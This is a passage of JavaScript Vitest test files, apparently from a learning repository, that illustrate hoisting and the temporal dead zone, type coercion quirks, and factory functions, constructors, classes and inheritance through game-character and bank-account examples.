const result = example() expect(result.before).toBe(undefined) expect(result.after).toBe("Hello") }) it('should have TDZ in function parameters', () => { // Default parameters can reference earlier parameters but not later ones expect(() => { eval(` function test(a = b, b = 2) { return a + b } test() `) }).toThrow(ReferenceError) }) it('should allow later parameters to reference earlier ones', () => { function test(a = 1, b = a + 1) { return a + b } expect(test()).toBe(3) // a=1, b=2 expect(test(5)).toBe(11) // a=5, b=6 expect(test(5, 10)).toBe(15) // a=5, b=10 }) }) describe('Hoisting Comparison: var vs let/const', () => { it('should demonstrate var hoisting without TDZ', () => { function example() { // var is hoisted and initialized to undefined expect(a).toBe(undefined) var a = 1 expect(a).toBe(1) } example() }) it('should demonstrate function declarations are fully hoisted', () => { // Function can be called before its declaration expect(hoistedFn()).toBe("I was hoisted!") function hoistedFn() { return "I was hoisted!" } }) it('should demonstrate function expressions are not hoisted', () => { expect(() => { eval(` notHoisted() var notHoisted = function() { return "Not hoisted" } `) }).toThrow(TypeError) }) }) }) ================================================ FILE: tests/fundamentals/type-coercion/type-coercion.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Type Coercion', () => { describe('Explicit vs Implicit Coercion', () => { describe('Explicit Coercion', () => { it('should convert to number explicitly', () => { expect(Number("42")).toBe(42) expect(parseInt("42px")).toBe(42) expect(parseFloat("3.14")).toBe(3.14) }) it('should convert to string explicitly', () => { expect(String(42)).toBe("42") expect((123).toString()).toBe("123") }) it('should convert to boolean explicitly', () => { expect(Boolean(1)).toBe(true) expect(Boolean(0)).toBe(false) }) }) describe('Implicit Coercion', () => { it('should demonstrate implicit string coercion with +', () => { expect("5" + 3).toBe("53") expect("5" - 3).toBe(2) }) it('should demonstrate implicit boolean coercion in conditions', () => { let result = null if ("hello") { result = "truthy" } expect(result).toBe("truthy") }) it('should demonstrate loose equality coercion', () => { expect(5 == "5").toBe(true) }) }) }) describe('String Conversion', () => { it('should convert various types to string explicitly', () => { expect(String(123)).toBe("123") expect(String(true)).toBe("true") expect(String(false)).toBe("false") expect(String(null)).toBe("null") expect(String(undefined)).toBe("undefined") }) it('should convert to string implicitly with + and empty string', () => { expect(123 + "").toBe("123") expect(`Value: ${123}`).toBe("Value: 123") expect("Hello " + 123).toBe("Hello 123") }) it('should convert arrays to comma-separated strings', () => { expect([1, 2, 3].toString()).toBe("1,2,3") expect([1, 2, 3] + "").toBe("1,2,3") expect([].toString()).toBe("") }) it('should convert objects to [object Object]', () => { expect({}.toString()).toBe("[object Object]") expect({} + "").toBe("[object Object]") }) describe('The + Operator Split Personality', () => { it('should add two numbers', () => { expect(5 + 3).toBe(8) }) it('should concatenate with any string involved', () => { expect("5" + 3).toBe("53") expect(5 + "3").toBe("53") expect("Hello" + " World").toBe("Hello World") }) it('should evaluate left to right with multiple operands', () => { expect(1 + 2 + "3").toBe("33") // (1+2)=3, then 3+"3"="33" expect("1" + 2 + 3).toBe("123") // all become strings left-to-right }) }) describe('User Input Gotcha', () => { it('should demonstrate string concatenation instead of addition', () => { const userInput = "5" const wrongResult = userInput + 10 expect(wrongResult).toBe("510") const correctResult = Number(userInput) + 10 expect(correctResult).toBe(15) }) }) }) describe('Number Conversion', () => { it('should convert strings to numbers', () => { expect(Number("42")).toBe(42) expect(Number(" 123 ")).toBe(123) // Whitespace trimmed expect(Number.isNaN(Number("123abc"))).toBe(true) // NaN expect(Number("")).toBe(0) // Empty string → 0 expect(Number(" ")).toBe(0) // Whitespace-only → 0 }) it('should convert booleans to numbers', () => { expect(Number(true)).toBe(1) expect(Number(false)).toBe(0) }) it('should demonstrate null vs undefined conversion difference', () => { expect(Number(null)).toBe(0) expect(Number.isNaN(Number(undefined))).toBe(true) expect(null + 5).toBe(5) expect(Number.isNaN(undefined + 5)).toBe(true) }) it('should convert arrays to numbers', () => { expect(Number([])).toBe(0) // [] → "" → 0 expect(Number([1])).toBe(1) // [1] → "1" → 1 expect(Number.isNaN(Number([1, 2]))).toBe(true) // [1,2] → "1,2" → NaN }) it('should return NaN for objects', () => { expect(Number.isNaN(Number({}))).toBe(true) }) describe('Math Operators Always Convert to Numbers', () => { it('should convert operands to numbers for -, *, /, %', () => { expect("6" - "2").toBe(4) expect("6" * "2").toBe(12) expect("6" / "2").toBe(3) expect("10" % "3").toBe(1) }) it('should show why - and + behave differently', () => { expect("5" + 3).toBe("53") // concatenation expect("5" - 3).toBe(2) // math }) }) describe('Unary + Trick', () => { it('should convert to number with unary +', () => { expect(+"42").toBe(42) expect(+true).toBe(1) expect(+false).toBe(0) expect(+null).toBe(0) expect(Number.isNaN(+undefined)).toBe(true) expect(Number.isNaN(+"hello")).toBe(true) expect(+"").toBe(0) }) }) }) describe('Boolean Conversion', () => { describe('The 8 Falsy Values', () => { it('should identify all 8 falsy values', () => { expect(Boolean(false)).toBe(false) expect(Boolean(0)).toBe(false) expect(Boolean(-0)).toBe(false) expect(Boolean(0n)).toBe(false) expect(Boolean("")).toBe(false) expect(Boolean(null)).toBe(false) expect(Boolean(undefined)).toBe(false) expect(Boolean(NaN)).toBe(false) }) }) describe('Truthy Values', () => { it('should identify truthy values including surprises', () => { expect(Boolean(true)).toBe(true) expect(Boolean(1)).toBe(true) expect(Boolean(-1)).toBe(true) expect(Boolean("hello")).toBe(true) expect(Boolean("0")).toBe(true) // Non-empty string! expect(Boolean("false")).toBe(true) // Non-empty string! expect(Boolean([])).toBe(true) // Empty array! expect(Boolean({})).toBe(true) // Empty object! expect(Boolean(function(){})).toBe(true) expect(Boolean(new Date())).toBe(true) expect(Boolean(Infinity)).toBe(true) expect(Boolean(-Infinity)).toBe(true) }) }) describe('Common Gotchas', () => { it('should demonstrate empty array checking', () => { const arr = [] expect(Boolean(arr)).toBe(true) // Array itself is truthy expect(arr.length > 0).toBe(false) // Check length instead }) }) describe('Logical Operators Return Original Values', () => { it('should return first truthy value with ||', () => { expect("hello" || "world").toBe("hello") expect("" || "world").toBe("world") expect("" || 0 || null || "yes").toBe("yes") }) it('should return first falsy value with &&', () => { expect("hello" && "world").toBe("world") expect("" && "world").toBe("") expect(1 && 2 && 3).toBe(3) }) it('should use || for defaults', () => { const userInput = "" const name = userInput || "Anonymous" expect(name).toBe("Anonymous") }) }) }) describe('Object to Primitive Conversion', () => { describe('Built-in Object Conversion', () => { it('should convert arrays via toString', () => { expect([1, 2, 3].toString()).toBe("1,2,3") expect([1, 2, 3] + "").toBe("1,2,3") expect(Number.isNaN([1, 2, 3] - 0)).toBe(true) // "1,2,3" → NaN expect([].toString()).toBe("") expect([] + "").toBe("") expect([] - 0).toBe(0) // "" → 0 expect([1].toString()).toBe("1") expect([1] - 0).toBe(1) }) it('should convert plain objects to [object Object]', () => { expect({}.toString()).toBe("[object Object]") expect({} + "").toBe("[object Object]") }) }) describe('Custom valueOf and toString', () => { it('should use valueOf for number conversion', () => { const price = { amount: 99.99, currency: "USD", valueOf() { return this.amount }, toString() { return `${this.currency} ${this.amount}` } } expect(price - 0).toBe(99.99) expect(price * 2).toBe(199.98) expect(+price).toBe(99.99) }) it('should use toString for string conversion', () => { const price = { amount: 99.99, currency: "USD", valueOf() { return this.amount }, toString() { return `${this.currency} ${this.amount}` } } expect(String(price)).toBe("USD 99.99") expect(`Price: ${price}`).toBe("Price: USD 99.99") }) }) describe('Symbol.toPrimitive', () => { it('should use Symbol.toPrimitive for conversion hints', () => { const obj = { [Symbol.toPrimitive](hint) { if (hint === "number") { return 42 } if (hint === "string") { return "forty-two" } return "default value" } } expect(+obj).toBe(42) // hint: "number" expect(`${obj}`).toBe("forty-two") // hint: "string" expect(obj + "").toBe("default value") // hint: "default" }) }) }) describe('The == Algorithm', () => { describe('Same Type Comparison', () => { it('should compare directly when same type', () => { expect(5 == 5).toBe(true) expect("hello" == "hello").toBe(true) }) }) describe('null and undefined', () => { it('should return true for null == undefined', () => { expect(null == undefined).toBe(true) expect(undefined == null).toBe(true) }) it('should return false for null/undefined vs other values', () => { expect(null == 0).toBe(false) expect(null == "").toBe(false) expect(undefined == 0).toBe(false) expect(undefined == "").toBe(false) }) }) describe('Number and String', () => { it('should convert string to number', () => { expect(5 == "5").toBe(true) expect(0 == "").toBe(true) expect(42 == "42").toBe(true) }) }) describe('Boolean Conversion', () => { it('should convert boolean to number first', () => { expect(true == 1).toBe(true) expect(false == 0).toBe(true) expect(true == "1").toBe(true) }) it('should demonstrate confusing boolean comparisons', () => { expect(true == "true").toBe(false) // true → 1, "true" → NaN expect(false == "false").toBe(false) // false → 0, "false" → NaN expect(true == 2).toBe(false) // true → 1, 1 ≠ 2 }) }) describe('Object to Primitive', () => { it('should convert object to primitive', () => { expect([1] == 1).toBe(true) // [1] → "1" → 1 expect([""] == 0).toBe(true) // [""] → "" → 0 }) }) describe('Step-by-Step Examples', () => { it('should trace "5" == 5', () => { // String vs Number → convert string to number // 5 == 5 → true expect("5" == 5).toBe(true) }) it('should trace true == "1"', () => { // Boolean → number: 1 == "1" // Number vs String → 1 == 1 // true expect(true == "1").toBe(true) }) it('should trace [] == false', () => { // Boolean → number: [] == 0 // Object → primitive: "" == 0 // String → number: 0 == 0 // true expect([] == false).toBe(true) }) it('should trace [] == ![]', () => { // First, evaluate ![] → false (arrays are truthy) // [] == false // Boolean → number: [] == 0 // Object → primitive: "" == 0 // String → number: 0 == 0 // true! expect([] == ![]).toBe(true) }) }) }) describe('JavaScript WAT Moments', () => { describe('+ Operator Split Personality', () => { it('should show string vs number behavior', () => { expect("5" + 3).toBe("53") expect("5" - 3).toBe(2) }) }) describe('Empty Array Weirdness', () => { it('should demonstrate [] + [] behavior', () => { expect([] + []).toBe("") // Both → "", then "" + "" = "" }) it('should demonstrate [] + {} behavior', () => { expect([] + {}).toBe("[object Object]") }) }) describe('Boolean Math', () => { it('should add booleans as numbers', () => { expect(true + true).toBe(2) expect(true + false).toBe(1) expect(true - true).toBe(0) }) }) describe('The Infamous [] == ![]', () => { it('should return true for [] == ![]', () => { const emptyArr = [] const negatedArr = ![] expect(emptyArr == negatedArr).toBe(true) expect(emptyArr === negatedArr).toBe(false) }) }) describe('"foo" + + "bar"', () => { it('should return "fooNaN"', () => { // +"bar" is evaluated first → NaN // "foo" + NaN → "fooNaN" expect("foo" + + "bar").toBe("fooNaN") }) }) describe('NaN Equality', () => { it('should never equal itself', () => { expect(NaN === NaN).toBe(false) expect(NaN == NaN).toBe(false) }) it('should use Number.isNaN to check', () => { expect(Number.isNaN(NaN)).toBe(true) expect(isNaN(NaN)).toBe(true) expect(isNaN("hello")).toBe(true) // Quirk: converts first expect(Number.isNaN("hello")).toBe(false) // Correct }) }) describe('typeof Quirks', () => { it('should demonstrate typeof oddities', () => { expect(typeof NaN).toBe("number") // "Not a Number" is a number expect(typeof null).toBe("object") // Historical bug expect(typeof []).toBe("object") // Arrays are objects expect(typeof function(){}).toBe("function") // Special case }) }) describe('Adding Arrays', () => { it('should concatenate arrays as strings', () => { expect([1, 2] + [3, 4]).toBe("1,23,4") // [1, 2] → "1,2" // [3, 4] → "3,4" // "1,2" + "3,4" → "1,23,4" }) it('should use spread or concat to combine arrays', () => { expect([...[1, 2], ...[3, 4]]).toEqual([1, 2, 3, 4]) expect([1, 2].concat([3, 4])).toEqual([1, 2, 3, 4]) }) }) }) describe('Best Practices', () => { describe('Use === instead of ==', () => { it('should show predictable strict equality', () => { expect(5 === "5").toBe(false) // No coercion expect(5 == "5").toBe(true) // Coerced }) }) describe('When == IS Useful', () => { it('should check for null or undefined in one shot', () => { function checkNullish(value) { return value == null } expect(checkNullish(null)).toBe(true) expect(checkNullish(undefined)).toBe(true) expect(checkNullish(0)).toBe(false) expect(checkNullish("")).toBe(false) }) }) describe('Be Explicit with Conversions', () => { it('should convert explicitly for clarity', () => { const str = "42" // Quick string conversion expect(str + "").toBe("42") expect(String(42)).toBe("42") // Quick number conversion expect(+str).toBe(42) expect(Number(str)).toBe(42) }) }) }) describe('Test Your Knowledge Examples', () => { it('should return "53" for "5" + 3', () => { expect("5" + 3).toBe("53") }) it('should return "1hello" for true + false + "hello"', () => { // true + false = 1 + 0 = 1 // 1 + "hello" = "1hello" expect(true + false + "hello").toBe("1hello") }) }) describe('Modulo Operator with Strings', () => { it('should coerce strings to numbers for modulo', () => { expect("6" % 4).toBe(2) expect("10" % "3").toBe(1) expect(17 % "5").toBe(2) }) it('should return NaN for non-numeric strings', () => { expect(Number.isNaN("hello" % 2)).toBe(true) expect(Number.isNaN(10 % "abc")).toBe(true) }) }) describe('Comparison Operators with Coercion', () => { it('should coerce strings to numbers in comparisons', () => { expect("10" > 5).toBe(true) expect("10" < 5).toBe(false) expect("10" >= 10).toBe(true) expect("10" <= 10).toBe(true) }) it('should compare strings lexicographically when both are strings', () => { // String comparison (lexicographic, not numeric) expect("10" > "9").toBe(false) // "1" < "9" in char codes expect("2" > "10").toBe(true) // "2" > "1" in char codes }) it('should coerce null and undefined in comparisons', () => { expect(null >= 0).toBe(true) // null coerces to 0 expect(null > 0).toBe(false) expect(null == 0).toBe(false) // Special case! // undefined always returns false in comparisons expect(undefined > 0).toBe(false) expect(undefined < 0).toBe(false) expect(undefined >= 0).toBe(false) }) }) describe('Double Negation (!!)', () => { it('should convert values to boolean with !!', () => { // Truthy values expect(!!"hello").toBe(true) expect(!!1).toBe(true) expect(!!{}).toBe(true) expect(!![]).toBe(true) expect(!!-1).toBe(true) // Falsy values expect(!!"").toBe(false) expect(!!0).toBe(false) expect(!!null).toBe(false) expect(!!undefined).toBe(false) expect(!!NaN).toBe(false) }) it('should be equivalent to Boolean()', () => { const values = ["hello", "", 0, 1, null, undefined, {}, []] values.forEach(value => { expect(!!value).toBe(Boolean(value)) }) }) }) describe('Date Coercion', () => { it('should coerce Date to number (timestamp) with + operator', () => { const date = new Date("2025-01-01T00:00:00.000Z") const timestamp = +date expect(typeof timestamp).toBe("number") expect(timestamp).toBe(date.getTime()) }) it('should coerce Date to string with String()', () => { const date = new Date("2025-06-15T12:00:00.000Z") const str = String(date) expect(typeof str).toBe("string") // Use a mid-year date to avoid timezone edge cases expect(str).toContain("2025") }) it('should prefer string coercion with + operator and string', () => { const date = new Date("2025-06-15T12:00:00.000Z") const result = "Date: " + date expect(typeof result).toBe("string") expect(result).toContain("Date:") expect(result).toContain("2025") }) it('should use valueOf for numeric context', () => { const date = new Date("2025-01-01T00:00:00.000Z") // In numeric context, Date uses valueOf (returns timestamp) expect(date - 0).toBe(date.getTime()) expect(date * 1).toBe(date.getTime()) }) }) describe('Implicit Boolean Contexts', () => { it('should coerce to boolean in if statements', () => { let result = "" if ("hello") result += "truthy string " if (0) result += "zero " if ([]) result += "empty array " if ({}) result += "empty object " expect(result).toBe("truthy string empty array empty object ") }) it('should coerce to boolean in ternary operator', () => { expect("hello" ? "yes" : "no").toBe("yes") expect("" ? "yes" : "no").toBe("no") expect(0 ? "yes" : "no").toBe("no") expect(1 ? "yes" : "no").toBe("yes") }) it('should coerce to boolean in logical NOT', () => { expect(!0).toBe(true) expect(!"").toBe(true) expect(!null).toBe(true) expect(!"hello").toBe(false) expect(!1).toBe(false) }) }) }) ================================================ FILE: tests/object-oriented/factories-classes/factories-classes.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Factories and Classes', () => { // =========================================== // Opening Example: Factory vs Class // =========================================== describe('Opening Example: Factory vs Class', () => { it('should create objects with factory function', () => { function createPlayer(name) { return { name, health: 100, attack() { return `${this.name} attacks!` } } } const player = createPlayer('Alice') expect(player.name).toBe('Alice') expect(player.health).toBe(100) expect(player.attack()).toBe('Alice attacks!') }) it('should create objects with class', () => { class Enemy { constructor(name) { this.name = name this.health = 100 } attack() { return `${this.name} attacks!` } } const enemy = new Enemy('Goblin') expect(enemy.name).toBe('Goblin') expect(enemy.health).toBe(100) expect(enemy.attack()).toBe('Goblin attacks!') }) it('should show both patterns produce similar results', () => { function createPlayer(name) { return { name, health: 100, attack() { return `${this.name} attacks!` } } } class Enemy { constructor(name) { this.name = name this.health = 100 } attack() { return `${this.name} attacks!` } } const player = createPlayer('Alice') const enemy = new Enemy('Goblin') // Both have same structure expect(player.name).toBe('Alice') expect(enemy.name).toBe('Goblin') expect(player.health).toBe(enemy.health) // Both attack methods work expect(player.attack()).toBe('Alice attacks!') expect(enemy.attack()).toBe('Goblin attacks!') }) }) // =========================================== // Part 1: The Problem — Manual Object Creation // =========================================== describe('Part 1: The Problem — Manual Object Creation', () => { it('should show manual object creation is repetitive', () => { const player1 = { name: 'Alice', health: 100, attack() { return `${this.name} attacks!` } } const player2 = { name: 'Bob', health: 100, attack() { return `${this.name} attacks!` } } expect(player1.attack()).toBe('Alice attacks!') expect(player2.attack()).toBe('Bob attacks!') // Each object has its own copy of the method expect(player1.attack).not.toBe(player2.attack) }) }) // =========================================== // Part 2: Factory Functions // =========================================== describe('Part 2: Factory Functions', () => { describe('Basic Factory Function', () => { it('should create objects with a factory function', () => { function createPlayer(name) { return { name, health: 100, level: 1, attack() { return `${this.name} attacks for ${10 + this.level * 2} damage!` } } } const alice = createPlayer('Alice') const bob = createPlayer('Bob') expect(alice.name).toBe('Alice') expect(bob.name).toBe('Bob') expect(alice.health).toBe(100) expect(alice.attack()).toBe('Alice attacks for 12 damage!') }) it('should create independent objects', () => { function createCounter() { return { count: 0, increment() { this.count++ } } } const counter1 = createCounter() const counter2 = createCounter() counter1.increment() counter1.increment() counter1.increment() counter2.increment() expect(counter1.count).toBe(3) expect(counter2.count).toBe(1) }) }) describe('Factory with Multiple Parameters', () => { it('should accept multiple parameters', () => { function createEnemy(name, health, attackPower) { return { name, health, attackPower, isAlive: true, attack(target) { return `${this.name} attacks ${target.name} for ${this.attackPower} damage!` }, takeDamage(amount) { this.health -= amount if (this.health <= 0) { this.health = 0 this.isAlive = false } return this.health } } } const goblin = createEnemy('Goblin', 50, 10) const dragon = createEnemy('Dragon', 500, 50) expect(goblin.health).toBe(50) expect(dragon.health).toBe(500) expect(goblin.attack(dragon)).toBe('Goblin attacks Dragon for 10 damage!') }) }) describe('Factory with Configuration Object', () => { it('should use defaults and merge with config', () => { function createCharacter(config = {}) { const defaults = { name: 'Unknown', health: 100, attackPower: 10, defense: 5 } return { ...defaults, ...config } } const warrior = createCharacter({ name: 'Warrior', health: 150, defense: 20 }) const mage = createCharacter({ name: 'Mage', attackPower: 30 }) const villager = createCharacter() expect(warrior.name).toBe('Warrior') expect(warrior.health).toBe(150) expect(warrior.defense).toBe(20) expect(warrior.attackPower).toBe(10) // default expect(mage.attackPower).toBe(30) expect(mage.health).toBe(100) // default expect(villager.name).toBe('Unknown') }) }) describe('Factory with Private Variables (Closures)', () => { it('should create truly private variables', () => { function createBankAccount(initialBalance = 0) { let balance = initialBalance return { deposit(amount) { if (amount > 0) balance += amount return balance }, withdraw(amount) { if (amount > 0 && amount <= balance) { balance -= amount } return balance }, getBalance() { return balance } } } const account = createBankAccount(1000) expect(account.getBalance()).toBe(1000) expect(account.deposit(500)).toBe(1500) expect(account.withdraw(200)).toBe(1300) // Private variable is not accessible expect(account.balance).toBe(undefined) // Can't modify balance directly account.balance = 1000000 expect(account.getBalance()).toBe(1300) }) it('should keep transaction history private', () => { function createAccount() { let balance = 0 const history = [] return { deposit(amount) { balance += amount history.push({ type: 'deposit', amount }) return balance }, getHistory() { return [...history] // return copy } } } const account = createAccount() account.deposit(100) account.deposit(50) const history = account.getHistory() expect(history).toHaveLength(2) expect(history[0]).toEqual({ type: 'deposit', amount: 100 }) // Modifying returned array doesn't affect internal state history.push({ type: 'fake', amount: 9999 }) expect(account.getHistory()).toHaveLength(2) // Can't access history directly expect(account.history).toBe(undefined) }) it('should have private functions', () => { function createCounter() { let count = 0 function logChange(action) { return `[LOG] ${action}: count is now ${count}` } return { increment() { count++ return logChange('increment') }, getCount() { return count } } } const counter = createCounter() expect(counter.increment()).toBe('[LOG] increment: count is now 1') expect(counter.getCount()).toBe(1) // Private function is not accessible expect(counter.logChange).toBe(undefined) }) }) describe('Factory Creating Different Types', () => { it('should return different object types based on input', () => { function createWeapon(type) { const weapons = { sword: { name: 'Sword', damage: 25, type: 'melee' }, bow: { name: 'Bow', damage: 20, type: 'ranged', range: 100 }, staff: { name: 'Staff', damage: 35, type: 'magic', manaCost: 10 } } if (!weapons[type]) { throw new Error(`Unknown weapon: ${type}`) } return { ...weapons[type] } } const sword = createWeapon('sword') const bow = createWeapon('bow') const staff = createWeapon('staff') expect(sword.damage).toBe(25) expect(bow.range).toBe(100) expect(staff.manaCost).toBe(10) expect(() => createWeapon('laser')).toThrow('Unknown weapon: laser') }) }) }) // =========================================== // Part 3: Constructor Functions // =========================================== describe('Part 3: Constructor Functions', () => { describe('Basic Constructor Function', () => { it('should create objects with new keyword', () => { function Player(name) { this.name = name this.health = 100 this.level = 1 } const alice = new Player('Alice') const bob = new Player('Bob') expect(alice.name).toBe('Alice') expect(bob.name).toBe('Bob') expect(alice.health).toBe(100) }) it('should work with instanceof', () => { function Player(name) { this.name = name } function Enemy(name) { this.name = name } const alice = new Player('Alice') const goblin = new Enemy('Goblin') expect(alice instanceof Player).toBe(true) expect(alice instanceof Enemy).toBe(false) expect(goblin instanceof Enemy).toBe(true) expect(goblin instanceof Object).toBe(true) }) }) describe('The new Keyword', () => { it('should simulate what new does', () => { function myNew(Constructor, ...args) { const obj = Object.create(Constructor.prototype) const result = Constructor.apply(obj, args) return typeof result === 'object' && result !== null ? result : obj } function Player(name) { this.name = name this.health = 100 } Player.prototype.attack = function () { return `${this.name} attacks!` } const player = myNew(Player, 'Alice') expect(player.name).toBe('Alice') expect(player.health).toBe(100) expect(player.attack()).toBe('Alice attacks!') expect(player instanceof Player).toBe(true) }) it('should return custom object if constructor returns one', () => { function ReturnsObject() { this.value = 42 return { custom: 'object' } } function ReturnsPrimitive() { this.value = 42 return 'ignored' } const obj1 = new ReturnsObject() const obj2 = new ReturnsPrimitive() expect(obj1).toEqual({ custom: 'object' }) expect(obj2.value).toBe(42) // primitive return is ignored }) }) describe('Prototype Methods', () => { it('should share methods via prototype', () => { function Player(name) { this.name = name } Player.prototype.attack = function () { return `${this.name} attacks!` } const p1 = new Player('Alice') const p2 = new Player('Bob') // Methods are shared expect(p1.attack).toBe(p2.attack) expect(p1.attack()).toBe('Alice attacks!') expect(p2.attack()).toBe('Bob attacks!') }) it('should add multiple methods to prototype', () => { function Character(name, health) { this.name = name this.health = health } Character.prototype.attack = function () { return `${this.name} attacks!` } Character.prototype.takeDamage = function (amount) { this.health -= amount return this.health } Character.prototype.isAlive = function () { return this.health > 0 } const hero = new Character('Hero', 100) expect(hero.attack()).toBe('Hero attacks!') expect(hero.takeDamage(30)).toBe(70) expect(hero.isAlive()).toBe(true) expect(hero.takeDamage(80)).toBe(-10) expect(hero.isAlive()).toBe(false) }) }) }) // =========================================== // Part 4: ES6 Classes // =========================================== describe('Part 4: ES6 Classes', () => { describe('Basic Class Syntax', () => { it('should create objects with class syntax', () => { class Player { constructor(name) { this.name = name this.health = 100 this.level = 1 } attack() { return `${this.name} attacks for ${10 + this.level * 2} damage!` } } const alice = new Player('Alice') expect(alice.name).toBe('Alice') expect(alice.health).toBe(100) expect(alice.attack()).toBe('Alice attacks for 12 damage!') expect(alice instanceof Player).toBe(true) }) it('should share methods via prototype (like constructors)', () => { class Player { constructor(name) { this.name = name } attack() { return `${this.name} attacks!` } } const p1 = new Player('Alice') const p2 = new Player('Bob') expect(p1.attack).toBe(p2.attack) // Shared via prototype }) }) describe('Class Fields', () => { it('should support class fields with default values', () => { class Character { level = 1 experience = 0 constructor(name) { this.name = name } } const hero = new Character('Hero') expect(hero.level).toBe(1) expect(hero.experience).toBe(0) expect(hero.name).toBe('Hero') }) }) describe('Static Methods and Properties', () => { it('should define static methods on class', () => { class MathUtils { static PI = 3.14159 static square(x) { return x * x } static cube(x) { return x * x * x } } expect(MathUtils.PI).toBe(3.14159) expect(MathUtils.square(5)).toBe(25) expect(MathUtils.cube(3)).toBe(27) // Not available on instances const utils = new MathUtils() expect(utils.PI).toBe(undefined) expect(utils.square).toBe(undefined) }) it('should use static factory methods', () => { class User { constructor(id, name) { this.id = id this.name = name } static createGuest() { return new User(0, 'Guest') } static fromData(data) { return new User(data.id, data.name) } } const guest = User.createGuest() const user = User.fromData({ id: 1, name: 'Alice' }) expect(guest.id).toBe(0) expect(guest.name).toBe('Guest') expect(user.id).toBe(1) expect(user.name).toBe('Alice') }) }) describe('Getters and Setters', () => { it('should define getters and setters', () => { class Circle { constructor(radius) { this._radius = radius } get radius() { return this._radius } set radius(value) { if (value < 0) throw new Error('Radius cannot be negative') this._radius = value } get diameter() { return this._radius * 2 } set diameter(value) { this._radius = value / 2 } get area() { return Math.PI * this._radius ** 2 } } const circle = new Circle(5) expect(circle.radius).toBe(5) expect(circle.diameter).toBe(10) expect(circle.area).toBeCloseTo(78.54, 1) circle.diameter = 20 expect(circle.radius).toBe(10) expect(() => { circle.radius = -5 }).toThrow('Radius cannot be negative') }) }) describe('Private Fields (#)', () => { it('should create truly private fields', () => { class BankAccount { #balance = 0 constructor(initialBalance) { this.#balance = initialBalance } deposit(amount) { if (amount > 0) this.#balance += amount return this.#balance } getBalance() { return this.#balance } } const account = new BankAccount(1000) expect(account.getBalance()).toBe(1000) expect(account.deposit(500)).toBe(1500) // Private field is not accessible expect(account.balance).toBe(undefined) expect(account['#balance']).toBe(undefined) }) it('should support private methods', () => { class Counter { #count = 0 #log(action) { return `[${action}] count: ${this.#count}` } increment() { this.#count++ return this.#log('increment') } getCount() { return this.#count } } const counter = new Counter() expect(counter.increment()).toBe('[increment] count: 1') expect(counter.getCount()).toBe(1) // Private method is not accessible expect(counter.log).toBe(undefined) }) }) describe('Classes are Syntactic Sugar', () => { it('should prove classes are functions', () => { class Player { constructor(name) { this.name = name } } expect(typeof Player).toBe('function') }) it('should have same prototype behavior as constructor functions', () => { class Player { constructor(name) { this.name = name } attack() { return `${this.name} attacks!` } } const player = new Player('Alice') expect(player.constructor).toBe(Player) expect(Object.getPrototypeOf(player)).toBe(Player.prototype) expect(player.__proto__).toBe(Player.prototype) }) }) }) // =========================================== // Part 5: Inheritance // =========================================== describe('Part 5: Inheritance', () => { describe('Class Inheritance with extends', () => { it('should inherit from parent class', () => { class Character { constructor(name, health) { this.name = name this.health = health } attack() { return `${this.name} attacks!` } takeDamage(amount) { this.health -= amount return this.health } } class Warrior extends Character { constructor(name) { super(name, 150) // Call parent constructor this.armor = 20 } shieldBash() { return `${this.name} bashes with shield for ${this.armor} damage!` } } const conan = new Warrior('Conan') expect(conan.name).toBe('Conan') expect(conan.health).toBe(150) expect(conan.armor).toBe(20) expect(conan.attack()).toBe('Conan attacks!') expect(conan.shieldBash()).toBe('Conan bashes with shield for 20 damage!') }) it('should work with instanceof through inheritance chain', () => { class Animal {} class Dog extends Animal {} const rex = new Dog() expect(rex instanceof Dog).toBe(true) expect(rex instanceof Animal).toBe(true) expect(rex instanceof Object).toBe(true) }) }) describe('Method Overriding', () => { it('should override parent methods', () => { class Animal { speak() { return 'Some sound' } } class Dog extends Animal { speak() { return 'Woof!' } } class Cat extends Animal { speak() { return 'Meow!' } } const animal = new Animal() const dog = new Dog() const cat = new Cat() expect(animal.speak()).toBe('Some sound') expect(dog.speak()).toBe('Woof!') expect(cat.speak()).toBe('Meow!') }) it('should call parent method with super', () => { class Character { constructor(name) { this.name = name } attack() { return `${this.name} attacks!` } } class Warrior extends Character { attack() { return `${super.attack()} With great strength!` } } const warrior = new Warrior('Conan') expect(warrior.attack()).toBe('Conan attacks! With great strength!') }) }) describe('The super Keyword', () => { it('should require super() before using this in derived class', () => { class Parent { constructor(name) { this.name = name } } class Child extends Parent { constructor(name, age) { super(name) // Must call before using this this.age = age } } const child = new Child('Alice', 10) expect(child.name).toBe('Alice') expect(child.age).toBe(10) }) }) describe('Factory Composition', () => { it('should compose behaviors from multiple sources', () => { const canWalk = (state) => ({ walk() { state.position += state.speed return `${state.name} walks to position ${state.position}` } }) const canSwim = (state) => ({ swim() { state.position += state.speed * 1.5 return `${state.name} swims to position ${state.position}` } }) const canFly = (state) => ({ fly() { state.position += state.speed * 3 return `${state.name} flies to position ${state.position}` } }) function createDuck(name) { const state = { name, position: 0, speed: 2 } return { name: state.name, ...canWalk(state), ...canSwim(state), ...canFly(state), getPosition: () => state.position } } function createPenguin(name) { const state = { name, position: 0, speed: 1 } return { name: state.name, ...canWalk(state), ...canSwim(state), // No fly! getPosition: () => state.position } } const duck = createDuck('Donald') const penguin = createPenguin('Tux') expect(duck.walk()).toBe('Donald walks to position 2') expect(duck.swim()).toBe('Donald swims to position 5') expect(duck.fly()).toBe('Donald flies to position 11') expect(penguin.walk()).toBe('Tux walks to position 1') expect(penguin.swim()).toBe('Tux swims to position 2.5') expect(penguin.fly).toBe(undefined) // Penguins can't fly }) it('should support canSpeak behavior composition', () => { const canSpeak = (state) => ({ speak(message) { return `${state.name} says: "${message}"` } }) const canWalk = (state) => ({ walk() { state.position += state.speed return `${state.name} walks to position ${state.position}` } }) function createDuck(name) { const state = { name, position: 0, speed: 2 } return { name: state.name, ...canWalk(state), ...canSpeak(state), getPosition: () => state.position } } function createFish(name) { const state = { name, position: 0, speed: 4 } return { name: state.name, // Fish can't speak! getPosition: () => state.position } } const duck = createDuck('Donald') const fish = createFish('Nemo') expect(duck.speak('Quack!')).toBe('Donald says: "Quack!"') expect(duck.walk()).toBe('Donald walks to position 2') expect(fish.speak).toBe(undefined) // Fish can't speak }) it('should allow flexible behavior combinations', () => { const withHealth = (state) => ({ takeDamage(amount) { state.health -= amount return state.health }, heal(amount) { state.health = Math.min(state.maxHealth, state.health + amount) return state.health }, getHealth: () => state.health, isAlive: () => state.health > 0 }) const withMana = (state) => ({ useMana(amount) { if (state.mana >= amount) { state.mana -= amount return true } return false }, getMana: () => state.mana }) function 